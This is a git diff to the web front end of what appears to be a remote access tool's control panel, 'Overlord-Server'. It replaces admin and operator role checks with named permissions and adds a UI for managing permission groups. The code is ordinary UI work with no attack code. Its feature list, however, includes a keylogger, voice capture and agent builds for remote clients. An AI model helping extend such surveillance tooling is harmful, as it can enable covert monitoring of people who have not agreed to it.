diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js
index 032c1b9..784f807 100644
--- a/Overlord-Server/public/assets/settings.js
+++ b/Overlord-Server/public/assets/settings.js
@@ -116,6 +116,39 @@ function isAdmin(role) {
   return role === "admin";
 }
 
+function userHas(perm) {
+  return !!currentUser?.permissions?.includes(perm);
+}
+
+function applyPermissionVisibility() {
+  document.querySelectorAll("[data-permission]").forEach((el) => {
+    const perm = el.dataset.permission;
+    if (perm && userHas(perm)) {
+      el.classList.remove("hidden");
+    } else {
+      el.classList.add("hidden");
+    }
+  });
+
+  const sidebar = document.getElementById("settings-sidebar");
+  if (!sidebar) return;
+  const children = Array.from(sidebar.children);
+  for (let i = 0; i < children.length; i++) {
+    const label = children[i];
+    if (!label.classList.contains("settings-nav-group-label")) continue;
+    let hasVisibleLink = false;
+    for (let j = i + 1; j < children.length; j++) {
+      const next = children[j];
+      if (next.classList.contains("settings-nav-group-label")) break;
+      if (next.classList.contains("settings-nav-link") && !next.classList.contains("hidden")) {
+        hasVisibleLink = true;
+        break;
+      }
+    }
+    label.classList.toggle("hidden", !hasVisibleLink);
+  }
+}
+
 function getPasswordRequirementsText() {
   const minLength = Number(securityConfig?.passwordMinLength) || 6;
   const requirements = [`min ${minLength} chars`];
@@ -820,19 +853,6 @@ function initSettingsSidebar() {
   if (!sidebar) return;
   const links = Array.from(sidebar.querySelectorAll(".settings-nav-link"));
 
-  // Hide nav links and group labels whose target sections are admin-only /
-  // admin-or-operator when the current user isn't authorized. We hide rather
-  // than disable so the sidebar stays uncluttered for non-admins.
-  const gated = sidebar.querySelectorAll("[data-admin-only], [data-admin-or-operator]");
-  for (const el of gated) {
-    if (el.dataset.adminOnly !== undefined && !isAdmin(currentUser?.role)) {
-      el.classList.add("hidden");
-    }
-    if (el.dataset.adminOrOperator !== undefined && !canManageBuilds(currentUser?.role)) {
-      el.classList.add("hidden");
-    }
-  }
-
   // Build the section→link map up front so click + observer share it.
   const sectionMap = new Map();
   // sectionsInOrder preserves document order for "last visible at page bottom"
@@ -1340,9 +1360,12 @@ async function handleRemoveInactiveSessions() {
 
 async function loadRegistrationSettings() {
   try {
-    const res = await fetch("/api/settings/registration", { credentials: "include" });
-    if (!res.ok) return;
-    const data = await res.json();
+    const [regRes, groupsRes] = await Promise.all([
+      fetch("/api/settings/registration", { credentials: "include" }),
+      fetch("/api/permission-groups", { credentials: "include" }),
+    ]);
+    if (!regRes.ok) return;
+    const data = await regRes.json();
     const reg = data.registration || {};
     const modeEl = document.getElementById("reg-mode");
     const roleEl = document.getElementById("reg-default-role");
@@ -1350,6 +1373,27 @@ async function loadRegistrationSettings() {
     if (modeEl) modeEl.value = reg.mode || "off";
     if (roleEl) roleEl.value = reg.defaultRole || "operator";
     if (maxEl) maxEl.value = reg.maxUsersTotal ?? 0;
+
+    const listEl = document.getElementById("reg-default-groups-list");
+    if (listEl) {
+      const groups = groupsRes.ok ? (await groupsRes.json()).groups || [] : [];
+      const selected = new Set(reg.defaultGroupIds || []);
+      listEl.innerHTML = groups.length === 0
+        ? `<p class="text-slate-500 text-sm">No groups defined yet. Create one on the <a href="/users" class="text-sky-400 hover:underline">Users page</a>.</p>`
+        : groups
+            .map(
+              (g) => `
+        <label class="flex items-start gap-2 py-1 cursor-pointer hover:bg-slate-800/40 rounded px-2">
+          <input type="checkbox" class="mt-1 h-4 w-4 accent-emerald-500" data-default-group="${g.id}" ${selected.has(g.id) ? "checked" : ""} />
+          <div>
+            <div class="text-sm font-medium text-slate-200">${g.name.replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" }[c]))}</div>
+            <div class="text-xs text-slate-500">${g.permissions.length} permission${g.permissions.length === 1 ? "" : "s"}</div>
+          </div>
+        </label>`,
+            )
+            .join("");
+    }
+
     updateRegSubsections(reg.mode || "off");
     if (reg.mode === "key") loadRegistrationKeys();
     if (reg.mode === "approval") loadPendingRegistrations();
@@ -1379,13 +1423,16 @@ async function saveRegistrationSettings(e) {
   const mode = document.getElementById("reg-mode")?.value;
   const defaultRole = document.getElementById("reg-default-role")?.value;
   const maxUsersTotal = Number(document.getElementById("reg-max-users")?.value) || 0;
+  const defaultGroupIds = Array.from(
+    document.querySelectorAll("#reg-default-groups-list input[type=checkbox]:checked"),
+  ).map((el) => Number(el.dataset.defaultGroup)).filter((n) => Number.isFinite(n));
 
   try {
     const res = await fetch("/api/settings/registration", {
       method: "PUT",
       credentials: "include",
       headers: { "Content-Type": "application/json" },
-      body: JSON.stringify({ mode, defaultRole, maxUsersTotal }),
+      body: JSON.stringify({ mode, defaultRole, maxUsersTotal, defaultGroupIds }),
     });
     if (!res.ok) {
       const data = await res.json().catch(() => ({}));
@@ -1662,19 +1709,10 @@ function initThumbnailHandlers() {
 async function init() {
   try {
     await loadCurrentUser();
+    applyPermissionVisibility();
     loadPrefs();
 
-    if (isAdmin(currentUser?.role) && exportImportSection) {
-      exportImportSection.classList.remove("hidden");
-    }
-
-    if (canManageClientBans(currentUser?.role) && wipeOfflineSection) {
-      wipeOfflineSection.classList.remove("hidden");
-    }
-
-    if (canManageBuilds(currentUser?.role)) {
-      if (buildsSection) buildsSection.classList.remove("hidden");
-      // Hide the "show all" toggle for non-admins
+    if (userHas("clients:build")) {
       if (buildsShowAllWrap && !isAdmin(currentUser?.role)) {
         buildsShowAllWrap.classList.add("hidden");
       }
@@ -1687,14 +1725,7 @@ async function init() {
     await loadChatSettings();
     await loadBannedIps();
 
-    // Registration + Build Rate Limit + Thumbnails (admin only)
-    if (isAdmin(currentUser?.role)) {
-      const regSection = document.getElementById("registration-section");
-      const brlSection = document.getElementById("build-rate-limit-section");
-      const thumbSection = document.getElementById("thumbnails-section");
-      if (regSection) regSection.classList.remove("hidden");
-      if (brlSection) brlSection.classList.remove("hidden");
-      if (thumbSection) thumbSection.classList.remove("hidden");
+    if (userHas("system:configure")) {
       await loadRegistrationSettings();
       await loadBuildRateLimitSettings();
       await loadThumbnailSettings();
diff --git a/Overlord-Server/public/assets/users.js b/Overlord-Server/public/assets/users.js
index fe2cc9d..fce4a68 100644
--- a/Overlord-Server/public/assets/users.js
+++ b/Overlord-Server/public/assets/users.js
@@ -231,7 +231,18 @@ function renderUsers() {
               <i class="fa-solid fa-puzzle-piece"></i>
             </button>
             ` : ''}
-            <button 
+            ${user.role !== "admin" ? `
+            <button
+              class="user-action-btn px-3 py-1.5 text-sm bg-violet-900/30 hover:bg-violet-900/50 text-violet-300 rounded border border-violet-800 transition-colors"
+              data-action="permissions"
+              data-user-id="${user.id}"
+              data-username="${escapeHtml(user.username)}"
+              title="Permission Groups & Extras"
+            >
+              <i class="fa-solid fa-layer-group"></i>
+            </button>
+            ` : ''}
+            <button
               class="user-action-btn px-3 py-1.5 text-sm bg-cyan-900/30 hover:bg-cyan-900/50 text-cyan-300 rounded border border-cyan-800 transition-colors"
               data-action="view-sessions"
               data-user-id="${user.id}"
@@ -329,6 +340,9 @@ function attachActionListeners() {
       case "view-sessions":
         viewUserSessions(userId, username);
         break;
+      case "permissions":
+        openUserPermissionsModal(userId, username);
+        break;
     }
   };
 
@@ -512,6 +526,10 @@ const FEATURE_LABELS = {
   processes: { label: "Processes", icon: "fa-microchip" },
   keylogger: { label: "Keylogger", icon: "fa-keyboard" },
   voice: { label: "Voice", icon: "fa-microphone" },
+  disconnect: { label: "Disconnect Client", icon: "fa-plug-circle-xmark" },
+  reconnect: { label: "Reconnect Client", icon: "fa-arrows-rotate" },
+  uninstall: { label: "Uninstall Agent", icon: "fa-trash-can" },
+  client_metadata: { label: "Edit Client Metadata", icon: "fa-pen-to-square" },
 };
 
 window.configureFeaturePermissions = async function (userId, username) {
@@ -899,5 +917,276 @@ function formatRelTime(epochSeconds) {
   return `${Math.floor(diff / 86400)}d ago`;
 }
 
+let allPermissions = [];
+let allGroups = [];
+let editingGroupId = null;
+let editingUserId = null;
+
+async function loadPermissionsAndGroups() {
+  try {
+    const [permsRes, groupsRes] = await Promise.all([
+      fetch("/api/permissions"),
+      fetch("/api/permission-groups"),
+    ]);
+    if (permsRes.ok) {
+      const data = await permsRes.json();
+      allPermissions = Array.isArray(data.permissions) ? data.permissions : [];
+    }
+    if (groupsRes.ok) {
+      const data = await groupsRes.json();
+      allGroups = Array.isArray(data.groups) ? data.groups : [];
+    }
+    renderGroupsList();
+  } catch (err) {
+    console.error("Failed to load permissions/groups:", err);
+  }
+}
+
+function renderGroupsList() {
+  const container = document.getElementById("groups-list");
+  if (!container) return;
+  if (allGroups.length === 0) {
+    container.innerHTML = `<p class="text-slate-500 text-sm text-center py-4">No groups yet. Click "New Group" to create one.</p>`;
+    return;
+  }
+  container.innerHTML = allGroups
+    .map(
+      (g) => `
+    <div class="flex items-start justify-between gap-3 p-3 bg-slate-800/40 border border-slate-700 rounded-lg">
+      <div class="flex-1 min-w-0">
+        <div class="font-medium text-slate-100">${escapeHtml(g.name)}</div>
+        ${g.description ? `<div class="text-xs text-slate-400 mt-0.5">${escapeHtml(g.description)}</div>` : ""}
+        <div class="text-xs text-slate-500 mt-1">
+          ${g.permissions.length} permission${g.permissions.length === 1 ? "" : "s"}:
+          <span class="text-slate-400">${g.permissions.map((p) => escapeHtml(p)).join(", ") || "<em>none</em>"}</span>
+        </div>
+      </div>
+      <div class="flex gap-1 flex-shrink-0">
+        <button class="group-action px-2 py-1 text-xs bg-slate-700 hover:bg-slate-600 rounded" data-action="edit" data-group-id="${g.id}"><i class="fa-solid fa-pen"></i></button>
+        <button class="group-action px-2 py-1 text-xs bg-red-900/40 hover:bg-red-900/60 text-red-300 rounded" data-action="delete" data-group-id="${g.id}" data-group-name="${escapeHtml(g.name)}"><i class="fa-solid fa-trash"></i></button>
+      </div>
+    </div>`,
+    )
+    .join("");
+}
+
+document.getElementById("groups-list")?.addEventListener("click", (e) => {
+  const btn = e.target.closest(".group-action");
+  if (!btn) return;
+  const groupId = Number(btn.dataset.groupId);
+  if (btn.dataset.action === "edit") openGroupModal(groupId);
+  else if (btn.dataset.action === "delete") deleteGroup(groupId, btn.dataset.groupName);
+});
+
+document.getElementById("new-group-btn")?.addEventListener("click", (e) => {
+  e.preventDefault();
+  openGroupModal(null);
+});
+
+function openGroupModal(groupId) {
+  editingGroupId = groupId;
+  const modal = document.getElementById("group-modal");
+  const title = document.getElementById("group-modal-title");
+  const nameInput = document.getElementById("group-name");
+  const descInput = document.getElementById("group-description");
+  const permsList = document.getElementById("group-permissions-list");
+  const errorBox = document.getElementById("group-error");
+  errorBox.classList.add("hidden");
+
+  let selected = new Set();
+  if (groupId) {
+    const g = allGroups.find((x) => x.id === groupId);
+    if (g) {
+      title.textContent = `Edit Group: ${g.name}`;
+      nameInput.value = g.name;
+      descInput.value = g.description || "";
+      selected = new Set(g.permissions);
+    }
+  } else {
+    title.textContent = "New Group";
+    nameInput.value = "";
+    descInput.value = "";
+  }
+
+  permsList.innerHTML = allPermissions
+    .map(
+      (p) => `
+    <label class="flex items-start gap-2 py-1 cursor-pointer hover:bg-slate-800/40 rounded px-2">
+      <input type="checkbox" class="mt-1 h-4 w-4 accent-violet-500" data-perm="${escapeHtml(p.id)}" ${selected.has(p.id) ? "checked" : ""} />
+      <div>
+        <div class="text-sm font-mono text-slate-200">${escapeHtml(p.id)}</div>
+        <div class="text-xs text-slate-500">${escapeHtml(p.description)}</div>
+      </div>
+    </label>`,
+    )
+    .join("");
+
+  modal.classList.remove("hidden");
+}
+
+function closeGroupModal() {
+  document.getElementById("group-modal")?.classList.add("hidden");
+  editingGroupId = null;
+}
+document.getElementById("close-group-modal")?.addEventListener("click", closeGroupModal);
+document.getElementById("group-cancel-btn")?.addEventListener("click", closeGroupModal);
+
+document.getElementById("group-form")?.addEventListener("submit", async (e) => {
+  e.preventDefault();
+  const name = document.getElementById("group-name").value.trim();
+  const description = document.getElementById("group-description").value.trim();
+  const permissions = Array.from(
+    document.querySelectorAll("#group-permissions-list input[type=checkbox]:checked"),
+  ).map((el) => el.dataset.perm);
+  const errorBox = document.getElementById("group-error");
+  errorBox.classList.add("hidden");
+
+  try {
+    const url = editingGroupId
+      ? `/api/permission-groups/${editingGroupId}`
+      : "/api/permission-groups";
+    const method = editingGroupId ? "PATCH" : "POST";
+    const res = await fetch(url, {
+      method,
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({ name, description, permissions }),
+    });
+    const data = await res.json().catch(() => ({}));
+    if (!res.ok) {
+      errorBox.textContent = data.error || "Failed to save group";
+      errorBox.classList.remove("hidden");
+      return;
+    }
+    closeGroupModal();
+    await loadPermissionsAndGroups();
+  } catch (err) {
+    console.error(err);
+    errorBox.textContent = "Network error";
+    errorBox.classList.remove("hidden");
+  }
+});
+
+async function deleteGroup(groupId, groupName) {
+  if (!confirm(`Delete group "${groupName}"? Users assigned to this group will lose its permissions.`)) return;
+  try {
+    const res = await fetch(`/api/permission-groups/${groupId}`, { method: "DELETE" });
+    if (!res.ok) {
+      const data = await res.json().catch(() => ({}));
+      alert(data.error || "Failed to delete group");
+      return;
+    }
+    await loadPermissionsAndGroups();
+  } catch {
+    alert("Network error");
+  }
+}
+
+async function openUserPermissionsModal(userId, username) {
+  editingUserId = userId;
+  const modal = document.getElementById("user-perms-modal");
+  const title = document.getElementById("user-perms-title");
+  const groupsBox = document.getElementById("user-groups-list");
+  const extrasBox = document.getElementById("user-extras-list");
+  const errorBox = document.getElementById("user-perms-error");
+
+  title.textContent = `Permissions: ${username}`;
+  errorBox.classList.add("hidden");
+  groupsBox.innerHTML = `<p class="text-slate-500 text-sm">Loading...</p>`;
+  extrasBox.innerHTML = `<p class="text-slate-500 text-sm">Loading...</p>`;
+  modal.classList.remove("hidden");
+
+  if (allPermissions.length === 0 || allGroups.length === 0) {
+    await loadPermissionsAndGroups();
+  }
+
+  try {
+    const [groupsRes, extrasRes] = await Promise.all([
+      fetch(`/api/users/${userId}/permission-groups`),
+      fetch(`/api/users/${userId}/extra-permissions`),
+    ]);
+    const groupsData = await groupsRes.json().catch(() => ({}));
+    const extrasData = await extrasRes.json().catch(() => ({}));
+    const assignedGroups = new Set(groupsData.groupIds || []);
+    const assignedExtras = new Set(extrasData.permissions || []);
+
+    groupsBox.innerHTML = allGroups.length === 0
+      ? `<p class="text-slate-500 text-sm">No groups defined yet.</p>`
+      : allGroups
+          .map(
+            (g) => `
+        <label class="flex items-start gap-2 py-1 cursor-pointer hover:bg-slate-800/40 rounded px-2">
+          <input type="checkbox" class="mt-1 h-4 w-4 accent-violet-500" data-group="${g.id}" ${assignedGroups.has(g.id) ? "checked" : ""} />
+          <div>
+            <div class="text-sm font-medium text-slate-200">${escapeHtml(g.name)}</div>
+            <div class="text-xs text-slate-500">${g.permissions.length} permission${g.permissions.length === 1 ? "" : "s"}</div>
+          </div>
+        </label>`,
+          )
+          .join("");
+
+    extrasBox.innerHTML = allPermissions
+      .map(
+        (p) => `
+      <label class="flex items-start gap-2 py-1 cursor-pointer hover:bg-slate-800/40 rounded px-2">
+        <input type="checkbox" class="mt-1 h-4 w-4 accent-violet-500" data-perm="${escapeHtml(p.id)}" ${assignedExtras.has(p.id) ? "checked" : ""} />
+        <div>
+          <div class="text-sm font-mono text-slate-200">${escapeHtml(p.id)}</div>
+          <div class="text-xs text-slate-500">${escapeHtml(p.description)}</div>
+        </div>
+      </label>`,
+      )
+      .join("");
+  } catch (err) {
+    console.error(err);
+    errorBox.textContent = "Failed to load current assignments";
+    errorBox.classList.remove("hidden");
+  }
+}
+
+function closeUserPermsModal() {
+  document.getElementById("user-perms-modal")?.classList.add("hidden");
+  editingUserId = null;
+}
+document.getElementById("close-user-perms-modal")?.addEventListener("click", closeUserPermsModal);
+document.getElementById("user-perms-cancel-btn")?.addEventListener("click", closeUserPermsModal);
+
+document.getElementById("user-perms-save-btn")?.addEventListener("click", async () => {
+  if (!editingUserId) return;
+  const groupIds = Array.from(
+    document.querySelectorAll("#user-groups-list input[type=checkbox]:checked"),
+  ).map((el) => Number(el.dataset.group));
+  const permissions = Array.from(
+    document.querySelectorAll("#user-extras-list input[type=checkbox]:checked"),
+  ).map((el) => el.dataset.perm);
+  const errorBox = document.getElementById("user-perms-error");
+  errorBox.classList.add("hidden");
+
+  try {
+    const [gRes, eRes] = await Promise.all([
+      fetch(`/api/users/${editingUserId}/permission-groups`, {
+        method: "PUT",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ groupIds }),
+      }),
+      fetch(`/api/users/${editingUserId}/extra-permissions`, {
+        method: "PUT",
+        headers: { "Content-Type": "application/json" },
+        body: JSON.stringify({ permissions }),
+      }),
+    ]);
+    if (!gRes.ok || !eRes.ok) {
+      const data = await (gRes.ok ? eRes : gRes).json().catch(() => ({}));
+      errorBox.textContent = data.error || "Failed to save";
+      errorBox.classList.remove("hidden");
+      return;
+    }
+    closeUserPermsModal();
+  } catch {
+    errorBox.textContent = "Network error";
+    errorBox.classList.remove("hidden");
+  }
+});
+
 getCurrentUser();
 loadUsers();
+loadPermissionsAndGroups();
diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html
index 78d86d8..a671ed6 100644
--- a/Overlord-Server/public/settings.html
+++ b/Overlord-Server/public/settings.html
@@ -84,20 +84,20 @@
             <a data-target="telegram-settings"        class="settings-nav-link" style="--accent: 52 211 153"><i class="fa-solid fa-bell w-4 text-emerald-400"></i><span>Notification Delivery</span></a>
             <a data-target="section-news"             class="settings-nav-link" style="--accent: 56 189 248"><i class="fa-brands fa-telegram w-4 text-sky-400"></i><span>News &amp; Updates</span></a>
 
-            <span class="settings-nav-group-label" data-admin-or-operator>Operations</span>
-            <a data-target="section-bans"             class="settings-nav-link" style="--accent: 248 113 113"><i class="fa-solid fa-ban w-4 text-red-400"></i><span>Banned IPs</span></a>
-            <a data-target="section-builds"           class="settings-nav-link" data-admin-or-operator style="--accent: 251 146 60"><i class="fa-solid fa-hammer w-4 text-orange-400"></i><span>Build IDs</span></a>
-            <a data-target="wipe-offline-section"     class="settings-nav-link" data-admin-or-operator style="--accent: 248 113 113"><i class="fa-solid fa-circle-minus w-4 text-red-400"></i><span>Wipe Offline Clients</span></a>
+            <span class="settings-nav-group-label">Operations</span>
+            <a data-target="section-bans"             class="settings-nav-link" data-permission="network:manage-bans" style="--accent: 248 113 113"><i class="fa-solid fa-ban w-4 text-red-400"></i><span>Banned IPs</span></a>
+            <a data-target="section-builds"           class="settings-nav-link" data-permission="clients:build" style="--accent: 251 146 60"><i class="fa-solid fa-hammer w-4 text-orange-400"></i><span>Build IDs</span></a>
+            <a data-target="wipe-offline-section"     class="settings-nav-link" data-permission="clients:control" style="--accent: 248 113 113"><i class="fa-solid fa-circle-minus w-4 text-red-400"></i><span>Wipe Offline Clients</span></a>
 
-            <span class="settings-nav-group-label" data-admin-only>Admin</span>
-            <a data-target="section-security"         class="settings-nav-link" data-admin-only style="--accent: 129 140 248"><i class="fa-solid fa-shield-halved w-4 text-indigo-400"></i><span>Security Policy</span></a>
-            <a data-target="thumbnails-section"       class="settings-nav-link" data-admin-only style="--accent: 56 189 248"><i class="fa-solid fa-images w-4 text-sky-400"></i><span>Screenshot Thumbnails</span></a>
-            <a data-target="section-tls"              class="settings-nav-link" data-admin-only style="--accent: 34 211 238"><i class="fa-solid fa-certificate w-4 text-cyan-400"></i><span>TLS Certificates</span></a>
-            <a data-target="chat-settings-section"    class="settings-nav-link" data-admin-only style="--accent: 56 189 248"><i class="fa-solid fa-comments w-4 text-sky-400"></i><span>Team Chat</span></a>
-            <a data-target="registration-section"     class="settings-nav-link" data-admin-only style="--accent: 52 211 153"><i class="fa-solid fa-user-plus w-4 text-emerald-400"></i><span>Registration</span></a>
-            <a data-target="build-rate-limit-section" class="settings-nav-link" data-admin-only style="--accent: 251 146 60"><i class="fa-solid fa-gauge-high w-4 text-orange-400"></i><span>Build Rate Limit</span></a>
-            <a data-target="section-appearance"       class="settings-nav-link" data-admin-only style="--accent: 232 121 249"><i class="fa-solid fa-paintbrush w-4 text-fuchsia-400"></i><span>Custom CSS</span></a>
-            <a data-target="export-import-section"    class="settings-nav-link" data-admin-only style="--accent: 251 191 36"><i class="fa-solid fa-file-export w-4 text-amber-400"></i><span>Export / Import</span></a>
+            <span class="settings-nav-group-label">Admin</span>
+            <a data-target="section-security"         class="settings-nav-link" data-permission="system:configure" style="--accent: 129 140 248"><i class="fa-solid fa-shield-halved w-4 text-indigo-400"></i><span>Security Policy</span></a>
+            <a data-target="thumbnails-section"       class="settings-nav-link" data-permission="system:configure" style="--accent: 56 189 248"><i class="fa-solid fa-images w-4 text-sky-400"></i><span>Screenshot Thumbnails</span></a>
+            <a data-target="section-tls"              class="settings-nav-link" data-permission="system:configure" style="--accent: 34 211 238"><i class="fa-solid fa-certificate w-4 text-cyan-400"></i><span>TLS Certificates</span></a>
+            <a data-target="chat-settings-section"    class="settings-nav-link" data-permission="system:configure" style="--accent: 56 189 248"><i class="fa-solid fa-comments w-4 text-sky-400"></i><span>Team Chat</span></a>
+            <a data-target="registration-section"     class="settings-nav-link" data-permission="system:configure" style="--accent: 52 211 153"><i class="fa-solid fa-user-plus w-4 text-emerald-400"></i><span>Registration</span></a>
+            <a data-target="build-rate-limit-section" class="settings-nav-link" data-permission="system:configure" style="--accent: 251 146 60"><i class="fa-solid fa-gauge-high w-4 text-orange-400"></i><span>Build Rate Limit</span></a>
+            <a data-target="section-appearance"       class="settings-nav-link" data-permission="system:configure" style="--accent: 232 121 249"><i class="fa-solid fa-paintbrush w-4 text-fuchsia-400"></i><span>Custom CSS</span></a>
+            <a data-target="export-import-section"    class="settings-nav-link" data-permission="system:configure" style="--accent: 251 191 36"><i class="fa-solid fa-file-export w-4 text-amber-400"></i><span>Export / Import</span></a>
           </nav>
         </aside>
 
@@ -353,7 +353,7 @@
       <!-- ========== OPERATIONS ========== -->
 
       <!-- Banned IPs -->
-      <section id="section-bans" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="section-bans" data-permission="network:manage-bans" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center justify-between gap-3">
           <div class="flex items-center gap-3">
             <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-red-500/10 border border-red-500/30">
@@ -397,7 +397,7 @@
       </section>
 
       <!-- Build IDs (operator/admin) -->
-      <section id="section-builds" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="section-builds" data-permission="clients:build" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center justify-between gap-3">
           <div class="flex items-center gap-3">
             <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-orange-500/10 border border-orange-500/30">
@@ -451,7 +451,7 @@
       </section>
 
       <!-- Wipe Offline Clients -->
-      <section id="wipe-offline-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="wipe-offline-section" data-permission="clients:control" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-red-500/10 border border-red-500/30">
             <i class="fa-solid fa-circle-minus text-red-400"></i>
@@ -482,7 +482,7 @@
       <!-- ========== ADMIN ========== -->
 
       <!-- Security Policy -->
-      <section id="section-security" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="section-security" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-indigo-500/10 border border-indigo-500/30">
             <i class="fa-solid fa-shield-halved text-indigo-400"></i>
@@ -584,7 +584,7 @@
       </section>
 
       <!-- TLS Certificates -->
-      <section id="section-tls" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="section-tls" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-cyan-500/10 border border-cyan-500/30">
             <i class="fa-solid fa-certificate text-cyan-400"></i>
@@ -686,7 +686,7 @@
       </section>
 
       <!-- Team Chat -->
-      <section id="chat-settings-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="chat-settings-section" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-sky-500/10 border border-sky-500/30">
             <i class="fa-solid fa-comments text-sky-400"></i>
@@ -722,7 +722,7 @@
       </section>
 
       <!-- Registration Settings (admin only) -->
-      <section id="registration-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="registration-section" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-emerald-500/10 border border-emerald-500/30">
             <i class="fa-solid fa-user-plus text-emerald-400"></i>
@@ -756,6 +756,13 @@
               <input id="reg-max-users" type="number" min="0" max="10000" class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-sky-500" />
             </label>
           </div>
+          <div>
+            <span class="text-sm text-slate-300">Default permission groups for new users</span>
+            <p class="text-xs text-slate-500 mb-2">Newly registered users automatically join these groups. Manage groups on the <a href="/users" class="text-sky-400 hover:underline">Users page</a>.</p>
+            <div id="reg-default-groups-list" class="space-y-1 max-h-40 overflow-y-auto border border-slate-700 rounded-lg p-2 bg-slate-900/50">
+              <p class="text-slate-500 text-sm">Loading...</p>
+            </div>
+          </div>
           <button type="submit" class="inline-flex items-center gap-2 px-4 py-2 rounded-lg bg-emerald-700 hover:bg-emerald-600 transition-colors text-white text-sm font-medium">
             <i class="fa-solid fa-floppy-disk"></i>Save Registration Settings
           </button>
@@ -823,7 +830,7 @@
       </section>
 
       <!-- Screenshot Thumbnails (admin only) -->
-      <section id="thumbnails-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="thumbnails-section" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-sky-500/10 border border-sky-500/30">
             <i class="fa-solid fa-images text-sky-400"></i>
@@ -863,7 +870,7 @@
       </section>
 
       <!-- Build Rate Limit (admin only) -->
-      <section id="build-rate-limit-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="build-rate-limit-section" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-orange-500/10 border border-orange-500/30">
             <i class="fa-solid fa-gauge-high text-orange-400"></i>
@@ -897,7 +904,7 @@
       </section>
 
       <!-- Custom CSS -->
-      <section id="section-appearance" class="bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="section-appearance" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-fuchsia-500/10 border border-fuchsia-500/30">
             <i class="fa-solid fa-paintbrush text-fuchsia-400"></i>
@@ -935,7 +942,7 @@
       </section>
 
       <!-- Export & Import -->
-      <section id="export-import-section" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
+      <section id="export-import-section" data-permission="system:configure" class="hidden bg-slate-900/60 border border-slate-800 rounded-xl p-5 space-y-4 settings-section">
         <div class="flex items-center gap-3">
           <div class="flex items-center justify-center w-9 h-9 rounded-lg bg-amber-500/10 border border-amber-500/30">
             <i class="fa-solid fa-file-export text-amber-400"></i>
diff --git a/Overlord-Server/public/users.html b/Overlord-Server/public/users.html
index 7f2b7ae..40570c4 100644
--- a/Overlord-Server/public/users.html
+++ b/Overlord-Server/public/users.html
@@ -23,6 +23,24 @@
     <div class="min-h-full flex flex-col">
       <!-- Main Content -->
       <main class="flex-1 max-w-7xl w-full mx-auto px-4 py-8">
+        <!-- Permission Groups Manager -->
+        <details class="mb-6 bg-slate-900/50 border border-slate-800 rounded-xl overflow-hidden">
+          <summary class="cursor-pointer px-6 py-4 flex items-center justify-between hover:bg-slate-800/30 transition-colors">
+            <div>
+              <h2 class="text-xl font-bold text-slate-100"><i class="fa-solid fa-layer-group mr-2 text-violet-400"></i>Permission Groups</h2>
+              <p class="text-slate-400 text-sm">Bundles of permissions that can be assigned to users. Groups can only grant — they never revoke.</p>
+            </div>
+            <button id="new-group-btn" type="button" class="px-3 py-1.5 bg-violet-700 hover:bg-violet-600 text-white rounded-lg text-sm font-medium" onclick="event.preventDefault(); event.stopPropagation();">
+              <i class="fa-solid fa-plus mr-1"></i>New Group
+            </button>
+          </summary>
+          <div class="border-t border-slate-800 p-4">
+            <div id="groups-list" class="space-y-2">
+              <p class="text-slate-500 text-sm text-center py-4">Loading groups...</p>
+            </div>
+          </div>
+        </details>
+
         <!-- Actions Bar -->
         <div class="mb-6 flex items-center justify-between">
           <div>
